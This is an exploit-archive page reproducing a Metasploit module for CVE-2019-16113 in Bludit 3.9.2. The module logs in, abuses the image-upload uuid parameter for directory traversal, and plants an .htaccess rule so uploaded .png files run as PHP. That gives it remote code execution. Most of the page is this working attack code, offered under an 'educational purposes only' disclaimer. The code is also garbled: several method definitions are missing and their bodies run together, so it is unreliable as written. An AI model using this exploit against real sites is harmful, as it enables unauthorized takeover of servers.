Exploits / Vulnerability Discovered : 2019-11-20 |
Type : remote |
Platform : php
This exploit / vulnerability Bludit directory traversal image file upload (metasploit) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
include Msf::Exploit::FileDropper
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
'Name' => "Bludit Directory Traversal Image File Upload Vulnerability",
'Description' => %q{
This module exploits a vulnerability in Bludit. A remote user could abuse the uuid
parameter in the image upload feature in order to save a malicious payload anywhere
onto the server, and then use a custom .htaccess file to bypass the file extension
check to finally get remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'christasa', # Original discovery
'sinn3r' # Metasploit module
],
'References' =>
[
['CVE', '2019-16113'],
['URL', 'https://github.com/bludit/bludit/issues/1081'],
['URL', 'https://github.com/bludit/bludit/commit/a9640ff6b5f2c0fa770ad7758daf24fec6fbf3f5#diff-6f5ea518e6fc98fb4c16830bbf9f5dac' ]
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Notes' =>
{
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'Targets' =>
[
[ 'Bludit v3.9.2', {} ]
],
'Privileged' => false,
'DisclosureDate' => "2019-09-07",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path for Bludit', '/']),
OptString.new('BLUDITUSER', [true, 'The username for Bludit']),
OptString.new('BLUDITPASS', [true, 'The password for Bludit'])
])
end
class PhpPayload
attr_reader :payload
attr_reader :name
def initialize(p)
@payload = p
@name = "#{Rex::Text.rand_text_alpha(10)}.png"
end
end
class LoginBadge
attr_reader :username
attr_reader :password
attr_accessor :csrf_token
attr_accessor :bludit_key
def initialize(user, pass, token, key)
@username = user
@password = pass
@csrf_token = token
@bludit_key = key
end
end
unless res
vprint_error('Connection timed out')
return CheckCode::Unknown
end
html = res.get_html_document
generator_tag = html.at('meta[@name="generator"]')
unless generator_tag
vprint_error('No generator metadata tag found in HTML')
return CheckCode::Safe
end
content_attr = generator_tag.attributes['content']
unless content_attr
vprint_error("No content attribute found in metadata tag")
return CheckCode::Safe
end
if content_attr.value == 'Bludit'
return CheckCode::Detected
end
unless res
fail_with(Failure::Unknown, 'Connection timed out')
end
html = res.get_html_document
uuid_element = html.at('input[@name="uuid"]')
unless uuid_element
fail_with(Failure::Unknown, 'No UUID found in admin/new-content/')
end
# On the vuln app, this line occurs first:
# Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);
# Even though there is a file extension check, it won't really stop us
# from uploading the .htaccess file.
htaccess = <<~HTA
RewriteEngine off
AddType application/x-httpd-php .png
HTA
upload_file(login_badge, uuid, htaccess, ".htaccess")
register_file_for_cleanup('.htaccess')
unless res
fail_with(Failure::Unknown, 'Connection timed out')
end
# A new csrf value is generated, need to update this for the upload
if res.headers['Location'].to_s.include?('/admin/dashboard')
store_valid_credential(user: login_badge.username, private: login_badge.password)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'dashboard', 'index.php'),
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",
})
unless res
fail_with(Failure::Unknown, 'Connection timed out')
end
new_csrf = res.body.scan(/var tokenCSRF = "(.+)";/).flatten.first
login_badge.csrf_token = new_csrf if new_csrf
return login_badge
end
fail_with(Failure::NoAccess, 'Authentication failed')
end
def exploit
login_badge = do_login
print_good("Logged in as: #{login_badge.username}")
upload_php_payload_and_exec(login_badge)
end
end